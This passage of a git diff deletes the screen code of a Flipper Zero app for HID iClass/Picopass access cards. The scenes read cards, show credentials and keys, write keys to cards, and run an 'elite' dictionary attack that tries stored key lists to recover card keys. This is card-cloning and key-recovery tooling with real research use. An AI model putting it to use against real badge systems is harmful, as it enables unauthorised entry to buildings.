&picopass->dev->dev_data.pacs; - Widget* widget = picopass->widget; - - uint8_t csn[PICOPASS_BLOCK_LEN] = {0}; - memcpy(csn, AA1[PICOPASS_CSN_BLOCK_INDEX].data, PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(csn_str, "%02X ", csn[i]); - } - - if(pacs->record.bitLength == 0 || pacs->record.bitLength == 255) { - // Neither of these are valid. Indicates the block was all 0x00 or all 0xff - furi_string_cat_printf(wiegand_str, "Invalid PACS"); - } else { - size_t bytesLength = pacs->record.bitLength / 8; - if(pacs->record.bitLength % 8 > 0) { - // Add extra byte if there are bits remaining - bytesLength++; - } - furi_string_set(credential_str, ""); - for(uint8_t i = PICOPASS_BLOCK_LEN - bytesLength; i < PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(credential_str, " %02X", pacs->credential[i]); - } - - if(pacs->record.valid) { - furi_string_cat_printf( - wiegand_str, "FC: %u CN: %u", pacs->record.FacilityCode, pacs->record.CardNumber); - } else { - furi_string_cat_printf(wiegand_str, "%d bits", pacs->record.bitLength); - } - - if(pacs->sio) { - furi_string_cat_printf(sio_str, "+SIO"); - } - } - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(csn_str)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(wiegand_str)); - widget_add_string_element( - widget, - 64, - 36, - AlignCenter, - AlignCenter, - FontSecondary, - furi_string_get_cstr(credential_str)); - widget_add_string_element( - widget, 64, 46, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(sio_str)); - - furi_string_free(csn_str); - furi_string_free(credential_str); - furi_string_free(wiegand_str); - furi_string_free(sio_str); - - widget_add_button_element( - picopass->widget, - GuiButtonTypeLeft, - "Back", - picopass_scene_device_info_widget_callback, - picopass); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_device_info_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == PicopassCustomEventViewExit) { - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); - consumed = true; - } - return consumed; -} - -void picopass_scene_device_info_on_exit(void* context) { - Picopass* picopass = context; - - // Clear views - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c b/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c deleted file mode 100644 index e6191d5ba..000000000 --- a/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c +++ /dev/null @@ -1,172 +0,0 @@ -#include "../picopass_i.h" -#include - -#define TAG "IclassEliteDictAttack" - -typedef enum { - DictAttackStateIdle, - DictAttackStateUserDictInProgress, - DictAttackStateFlipperDictInProgress, - DictAttackStateStandardDictInProgress, -} DictAttackState; - -void picopass_dict_attack_worker_callback(PicopassWorkerEvent event, void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, event); -} - -void picopass_dict_attack_result_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event( - picopass->view_dispatcher, PicopassCustomEventDictAttackSkip); -} - -static void - picopass_scene_elite_dict_attack_prepare_view(Picopass* picopass, DictAttackState state) { - IclassEliteDictAttackData* dict_attack_data = - &picopass->dev->dev_data.iclass_elite_dict_attack_data; - PicopassWorkerState worker_state = PicopassWorkerStateReady; - IclassEliteDict* dict = NULL; - - // Identify scene state - if(state == DictAttackStateIdle) { - if(iclass_elite_dict_check_presence(IclassEliteDictTypeUser)) { - FURI_LOG_D(TAG, "Starting with user dictionary"); - state = DictAttackStateUserDictInProgress; - } else { - FURI_LOG_D(TAG, "Starting with standard dictionary"); - state = DictAttackStateStandardDictInProgress; - } - } else if(state == DictAttackStateUserDictInProgress) { - FURI_LOG_D(TAG, "Moving from user dictionary to standard dictionary"); - state = DictAttackStateStandardDictInProgress; - } else if(state == DictAttackStateStandardDictInProgress) { - FURI_LOG_D(TAG, "Moving from standard dictionary to elite dictionary"); - state = DictAttackStateFlipperDictInProgress; - } - - // Setup view - if(state == DictAttackStateUserDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Elite User Dictionary"); - dict_attack_data->type = IclassEliteDictTypeUser; - dict = iclass_elite_dict_alloc(IclassEliteDictTypeUser); - - // If failed to load user dictionary - try the system dictionary - if(!dict) { - FURI_LOG_E(TAG, "User dictionary not found"); - state = DictAttackStateStandardDictInProgress; - } - } - if(state == DictAttackStateStandardDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Standard System Dictionary"); - dict_attack_data->type = IclassStandardDictTypeFlipper; - dict = iclass_elite_dict_alloc(IclassStandardDictTypeFlipper); - - if(!dict) { - FURI_LOG_E(TAG, "Flipper standard dictionary not found"); - state = DictAttackStateFlipperDictInProgress; - } - } - if(state == DictAttackStateFlipperDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Elite System Dictionary"); - dict_attack_data->type = IclassEliteDictTypeFlipper; - dict = iclass_elite_dict_alloc(IclassEliteDictTypeFlipper); - if(!dict) { - FURI_LOG_E(TAG, "Flipper Elite dictionary not found"); - // Pass through to let the worker handle the failure - } - } - // Free previous dictionary - if(dict_attack_data->dict) { - iclass_elite_dict_free(dict_attack_data->dict); - } - dict_attack_data->dict = dict; - scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack, state); - dict_attack_set_callback( - picopass->dict_attack, picopass_dict_attack_result_callback, picopass); - dict_attack_set_current_sector(picopass->dict_attack, 0); - dict_attack_set_card_detected(picopass->dict_attack); - dict_attack_set_total_dict_keys( - picopass->dict_attack, dict ? iclass_elite_dict_get_total_keys(dict) : 0); - picopass_worker_start( - picopass->worker, - worker_state, - &picopass->dev->dev_data, - picopass_dict_attack_worker_callback, - picopass); -} - -void picopass_scene_elite_dict_attack_on_enter(void* context) { - Picopass* picopass = context; - picopass_scene_elite_dict_attack_prepare_view(picopass, DictAttackStateIdle); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewDictAttack); - picopass_blink_start(picopass); - notification_message(picopass->notifications, &sequence_display_backlight_enforce_on); -} - -bool picopass_scene_elite_dict_attack_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - uint32_t state = - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack); - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassWorkerEventSuccess) { - if(state == DictAttackStateUserDictInProgress || - state == DictAttackStateStandardDictInProgress) { - picopass_worker_stop(picopass->worker); - picopass_scene_elite_dict_attack_prepare_view(picopass, state); - consumed = true; - } else { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - consumed = true; - } - } else if(event.event == PicopassWorkerEventAborted) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - consumed = true; - } else if(event.event == PicopassWorkerEventCardDetected) { - dict_attack_set_card_detected(picopass->dict_attack); - consumed = true; - } else if(event.event == PicopassWorkerEventNoCardDetected) { - dict_attack_set_card_removed(picopass->dict_attack); - consumed = true; - } else if(event.event == PicopassWorkerEventNewDictKeyBatch) { - dict_attack_inc_current_dict_key(picopass->dict_attack, PICOPASS_DICT_KEY_BATCH_SIZE); - consumed = true; - } else if(event.event == PicopassCustomEventDictAttackSkip) { - if(state == DictAttackStateUserDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } else if(state == DictAttackStateFlipperDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } else if(state == DictAttackStateStandardDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } - return consumed; -} - -void picopass_scene_elite_dict_attack_on_exit(void* context) { - Picopass* picopass = context; - IclassEliteDictAttackData* dict_attack_data = - &picopass->dev->dev_data.iclass_elite_dict_attack_data; - // Stop worker - picopass_worker_stop(picopass->worker); - if(dict_attack_data->dict) { - iclass_elite_dict_free(dict_attack_data->dict); - dict_attack_data->dict = NULL; - } - dict_attack_reset(picopass->dict_attack); - picopass_blink_stop(picopass); - notification_message(picopass->notifications, &sequence_display_backlight_enforce_auto); -} diff --git a/applications/external/picopass/scenes/picopass_scene_file_select.c b/applications/external/picopass/scenes/picopass_scene_file_select.c deleted file mode 100644 index 2fc64746e..000000000 --- a/applications/external/picopass/scenes/picopass_scene_file_select.c +++ /dev/null @@ -1,25 +0,0 @@ -#include "../picopass_i.h" -#include "../picopass_device.h" - -void picopass_scene_file_select_on_enter(void* context) { - Picopass* picopass = context; - // Process file_select return - picopass_device_set_loading_callback(picopass->dev, picopass_show_loading_popup, picopass); - if(picopass_file_select(picopass->dev)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSavedMenu); - } else { - scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - picopass_device_set_loading_callback(picopass->dev, NULL, picopass); -} - -bool picopass_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void picopass_scene_file_select_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/picopass/scenes/picopass_scene_key_menu.c b/applications/external/picopass/scenes/picopass_scene_key_menu.c deleted file mode 100644 index 15a32ff44..000000000 --- a/applications/external/picopass/scenes/picopass_scene_key_menu.c +++ /dev/null @@ -1,100 +0,0 @@ -#include "../picopass_i.h" -#include "../picopass_keys.h" - -enum SubmenuIndex { - SubmenuIndexWriteStandard, - SubmenuIndexWriteiCE, - SubmenuIndexWriteiCL, - SubmenuIndexWriteiCS, - SubmenuIndexWriteCustom, //TODO: user input of key -}; - -void picopass_scene_key_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_key_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, - "Write Standard", - SubmenuIndexWriteStandard, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCE", - SubmenuIndexWriteiCE, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCL", - SubmenuIndexWriteiCL, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCS", - SubmenuIndexWriteiCS, - picopass_scene_key_menu_submenu_callback, - picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneKeyMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_key_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWriteStandard) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteStandard); - memcpy(picopass->dev->dev_data.pacs.key, picopass_iclass_key, PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCE) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCE); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xice_key, PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = true; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCL) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCL); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xicl_key, PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCS) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCS); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xics_key, PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - - return consumed; -} - -void picopass_scene_key_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_card.c b/applications/external/picopass/scenes/picopass_scene_read_card.c deleted file mode 100644 index c1cc7249c..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_card.c +++ /dev/null @@ -1,61 +0,0 @@ -#include "../picopass_i.h" -#include -#include "../picopass_keys.h" - -void picopass_read_card_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventWorkerExit); -} - -void picopass_scene_read_card_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcRead); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Detecting\npicopass\ncard", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinReceive_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateDetect, - &picopass->dev->dev_data, - picopass_read_card_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_read_card_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - if(memcmp( - picopass->dev->dev_data.pacs.key, - picopass_factory_debit_key, - PICOPASS_BLOCK_LEN) == 0) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadFactorySuccess); - } else { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - } - consumed = true; - } - } - return consumed; -} - -void picopass_scene_read_card_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_card_success.c b/applications/external/picopass/scenes/picopass_scene_read_card_success.c deleted file mode 100644 index ffe7195b7..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_card_success.c +++ /dev/null @@ -1,172 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_read_card_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_read_card_success_on_enter(void* context) { - Picopass* picopass = context; - - FuriString* csn_str = furi_string_alloc_set("CSN:"); - FuriString* credential_str = furi_string_alloc(); - FuriString* wiegand_str = furi_string_alloc(); - FuriString* sio_str = furi_string_alloc(); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - // Setup view - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - PicopassPacs* pacs = &picopass->dev->dev_data.pacs; - Widget* widget = picopass->widget; - - uint8_t csn[PICOPASS_BLOCK_LEN] = {0}; - memcpy(csn, AA1[PICOPASS_CSN_BLOCK_INDEX].data, PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(csn_str, "%02X", csn[i]); - } - - bool no_key = picopass_is_memset(pacs->key, 0x00, PICOPASS_BLOCK_LEN); - bool empty = - picopass_is_memset(AA1[PICOPASS_PACS_CFG_BLOCK_INDEX].data, 0xFF, PICOPASS_BLOCK_LEN); - - if(no_key) { - furi_string_cat_printf(wiegand_str, "Read Failed"); - - if(pacs->se_enabled) { - furi_string_cat_printf(credential_str, "SE enabled"); - } - - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else if(empty) { - furi_string_cat_printf(wiegand_str, "Empty"); - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else if(pacs->record.bitLength == 0 || pacs->record.bitLength == 255) { - // Neither of these are valid. Indicates the block was all 0x00 or all 0xff - furi_string_cat_printf(wiegand_str, "Invalid PACS"); - - if(pacs->se_enabled) { - furi_string_cat_printf(credential_str, "SE enabled"); - } - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else { - size_t bytesLength = 1 + pacs->record.bitLength / 8; - furi_string_set(credential_str, ""); - for(uint8_t i = PICOPASS_BLOCK_LEN - bytesLength; i < PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(credential_str, " %02X", pacs->credential[i]); - } - - if(pacs->record.valid) { - furi_string_cat_printf( - wiegand_str, "FC: %u CN: %u", pacs->record.FacilityCode, pacs->record.CardNumber); - } else { - furi_string_cat_printf(wiegand_str, "%d bits", pacs->record.bitLength); - } - - if(pacs->sio) { - furi_string_cat_printf(sio_str, "+SIO"); - } - - if(pacs->key) { - if(pacs->sio) { - furi_string_cat_printf(sio_str, " "); - } - furi_string_cat_printf(sio_str, "Key: "); - - uint8_t key[PICOPASS_BLOCK_LEN]; - memcpy(key, &pacs->key, PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(sio_str, "%02X", key[i]); - } - } - - widget_add_button_element( - widget, - GuiButtonTypeRight, - "More", - picopass_scene_read_card_success_widget_callback, - picopass); - } - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Retry", - picopass_scene_read_card_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(csn_str)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(wiegand_str)); - widget_add_string_element( - widget, - 64, - 36, - AlignCenter, - AlignCenter, - FontSecondary, - furi_string_get_cstr(credential_str)); - widget_add_string_element( - widget, 64, 46, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(sio_str)); - - furi_string_free(csn_str); - furi_string_free(credential_str); - furi_string_free(wiegand_str); - furi_string_free(sio_str); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_read_card_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - // Clear device name - picopass_device_set_name(picopass->dev, ""); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneCardMenu); - consumed = true; - } else if(event.event == GuiButtonTypeCenter) { - consumed = scene_manager_search_and_switch_to_another_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_read_card_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_factory_success.c b/applications/external/picopass/scenes/picopass_scene_read_factory_success.c deleted file mode 100644 index f5fcd10fd..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_factory_success.c +++ /dev/null @@ -1,80 +0,0 @@ -#include "../picopass_i.h" -#include -#include "../picopass_keys.h" - -void picopass_scene_read_factory_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_read_factory_success_on_enter(void* context) { - Picopass* picopass = context; - FuriString* title = furi_string_alloc_set("Factory Default"); - FuriString* subtitle = furi_string_alloc_set(""); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - // Setup view - Widget* widget = picopass->widget; - //PicopassPacs* pacs = &picopass->dev->dev_data.pacs; - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - - uint8_t* configBlock = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data; - uint8_t fuses = configBlock[7]; - - if((fuses & 0x80) == 0x80) { - furi_string_cat_printf(subtitle, "Personalization mode"); - } else { - furi_string_cat_printf(subtitle, "Application mode"); - } - - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Write Standard iClass Key", - picopass_scene_read_factory_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(title)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(subtitle)); - - furi_string_free(title); - furi_string_free(subtitle); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_read_factory_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeCenter) { - memcpy(picopass->dev->dev_data.pacs.key, picopass_iclass_key, PICOPASS_BLOCK_LEN); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_read_factory_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_save_name.c b/applications/external/picopass/scenes/picopass_scene_save_name.c deleted file mode 100644 index baf882b80..000000000 --- a/applications/external/picopass/scenes/picopass_scene_save_name.c +++ /dev/null @@ -1,81 +0,0 @@ -#include "../picopass_i.h" -#include -#include -#include - -void picopass_scene_save_name_text_input_callback(void* context) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventTextInputDone); -} - -void picopass_scene_save_name_on_enter(void* context) { - Picopass* picopass = context; - - // Setup view - TextInput* text_input = picopass->text_input; - bool dev_name_empty = false; - if(!strcmp(picopass->dev->dev_name, "")) { - set_random_name(picopass->text_store, sizeof(picopass->text_store)); - dev_name_empty = true; - } else { - picopass_text_store_set(picopass, picopass->dev->dev_name); - } - text_input_set_header_text(text_input, "Name the card"); - text_input_set_result_callback( - text_input, - picopass_scene_save_name_text_input_callback, - picopass, - picopass->text_store, - PICOPASS_DEV_NAME_MAX_LEN, - dev_name_empty); - - FuriString* folder_path; - folder_path = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - - if(furi_string_end_with(picopass->dev->load_path, PICOPASS_APP_EXTENSION)) { - path_extract_dirname(furi_string_get_cstr(picopass->dev->load_path), folder_path); - } - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - furi_string_get_cstr(folder_path), PICOPASS_APP_EXTENSION, picopass->dev->dev_name); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewTextInput); - - furi_string_free(folder_path); -} - -bool picopass_scene_save_name_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventTextInputDone) { - if(strcmp(picopass->dev->dev_name, "") != 0) { - // picopass_device_delete(picopass->dev, true); - } - strlcpy( - picopass->dev->dev_name, picopass->text_store, strlen(picopass->text_store) + 1); - if(picopass_device_save(picopass->dev, picopass->text_store)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveSuccess); - consumed = true; - } else { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - } - return consumed; -} - -void picopass_scene_save_name_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - void* validator_context = text_input_get_validator_callback_context(picopass->text_input); - text_input_set_validator(picopass->text_input, NULL, NULL); - validator_is_file_free(validator_context); - - text_input_reset(picopass->text_input); -} diff --git a/applications/external/picopass/scenes/picopass_scene_save_success.c b/applications/external/picopass/scenes/picopass_scene_save_success.c deleted file mode 100644 index 3b0a1cadd..000000000 --- a/applications/external/picopass/scenes/picopass_scene_save_success.c +++ /dev/null @@ -1,47 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_save_success_popup_callback(void* context) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventViewExit); -} - -void picopass_scene_save_success_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, picopass); - popup_set_callback(popup, picopass_scene_save_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); -} - -bool picopass_scene_save_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventViewExit) { - if(scene_manager_has_previous_scene(picopass->scene_manager, PicopassSceneCardMenu)) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneCardMenu); - } else { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - } - return consumed; -} - -void picopass_scene_save_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - popup_reset(picopass->popup); -} diff --git a/applications/external/picopass/scenes/picopass_scene_saved_menu.c b/applications/external/picopass/scenes/picopass_scene_saved_menu.c deleted file mode 100644 index 90a27ee81..000000000 --- a/applications/external/picopass/scenes/picopass_scene_saved_menu.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../picopass_i.h" - -enum SubmenuIndex { - SubmenuIndexDelete, - SubmenuIndexInfo, - SubmenuIndexWrite, -}; - -void picopass_scene_saved_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_saved_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, - "Delete", - SubmenuIndexDelete, - picopass_scene_saved_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, "Info", SubmenuIndexInfo, picopass_scene_saved_menu_submenu_callback, picopass); - submenu_add_item( - submenu, "Write", SubmenuIndexWrite, picopass_scene_saved_menu_submenu_callback, picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneSavedMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneSavedMenu, event.event); - - if(event.event == SubmenuIndexDelete) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDelete); - consumed = true; - } else if(event.event == SubmenuIndexInfo) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDeviceInfo); - consumed = true; - } else if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCard); - consumed = true; - } - } - - return consumed; -} - -void picopass_scene_saved_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_start.c b/applications/external/picopass/scenes/picopass_scene_start.c deleted file mode 100644 index 8f7b627aa..000000000 --- a/applications/external/picopass/scenes/picopass_scene_start.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../picopass_i.h" -enum SubmenuIndex { - SubmenuIndexRead, - SubmenuIndexEliteDictAttack, - SubmenuIndexSaved, -}; - -void picopass_scene_start_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} -void picopass_scene_start_on_enter(void* context) { - Picopass* picopass = context; - - Submenu* submenu = picopass->submenu; - submenu_add_item( - submenu, "Read Card", SubmenuIndexRead, picopass_scene_start_submenu_callback, picopass); - submenu_add_item( - submenu, - "Elite Dict. Attack", - SubmenuIndexEliteDictAttack, - picopass_scene_start_submenu_callback, - picopass); - submenu_add_item( - submenu, "Saved", SubmenuIndexSaved, picopass_scene_start_submenu_callback, picopass); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(picopass->scene_manager, 